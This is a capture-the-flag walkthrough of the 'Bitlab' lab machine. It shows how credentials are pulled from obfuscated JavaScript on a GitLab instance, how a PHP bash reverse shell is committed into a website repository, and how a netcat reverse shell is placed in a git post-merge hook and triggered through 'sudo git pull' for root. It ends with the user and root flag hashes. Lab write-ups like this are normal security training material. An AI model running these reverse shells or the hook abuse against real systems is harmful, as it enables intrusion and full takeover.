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Bitlab Writeup


Beginning with a simple scan of the first 10000 ports


Nothing crazy. We see a web server, we go on the web. It is a gitlab server.


Normally I would run gobuster on it but I wanted to explore the site manually. On the bottom of the site, I clicked on the help link and another link showed up. That also lead to a list of links.


Gitlab Login looks interested. The link didn’t go anything. All it had was obfuscated javascript. If we beautifier and decode the hex code, we are presented with a username and password.




After login, we have two projects to explore. The Deployer project didn’t really spark me as the Profile project. The profile project seems to be the source code of the developer’s website. First thing I did was upload a php reverse shell at the bottom of index.html. Commit the changes and merge it to master

exec("/bin/bash -c 'bash -i >& /dev/tcp/ 0>&1'");

Going to []( activates the shell


Privilege Escalation

I like to see if my current user can run any command as root or another user. And for us, we can sudo git pull.


I have been working gitlab for a while now. I got to know about git hooks. Git hooks are basically scripts that can be executed depending on what git command you used. Some of them are post-merge, pre-commit and so much more. Take a look at this article and this one if you are interested in learning more about it. The exploit I used was similar to a project I was working on when learning about git. Here is the link to it.

For this box, I used post-merge for my attack. Post merge is executed after a git merge has been done.

Start by copying the .git from the /var/www/html/profile to /tmp/. Now we echo a netcat reverse shell into post-merge in /tmp/.git. Next, we make a change to the on the webserver and merge the changes. In your shell, do sudo git pull and that should give a root shell(make sure you are listening). This code snippet below is exactly what explained in words:

www-data@bitlab:/var/www/html/profile$ cp -R .git /tmp/
www-data@bitlab:/tmp$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1337 >/tmp/f" > .git/hooks/post-merge
www-data@bitlab:/tmp$ chmod 777 .git/hooks/post-merge
**Make a change to on the web**
www-data@bitlab:/tmp$ sudo /usr/bin/git pull

Here’s our listener with a root shell.


Obviously this is an unintended way (jumping from www-data to root). I believe the intended way is to find some creds for the SQL database to get the user’ s password. And from there …(come back)

User: 1e3fd81ec3aa2f1462370ee3c20b8154

Root: 8d4cc131757957cb68d9a0cddccd587c

Updated Mar 7, 2020 2020-03-07T20:43:16-05:00
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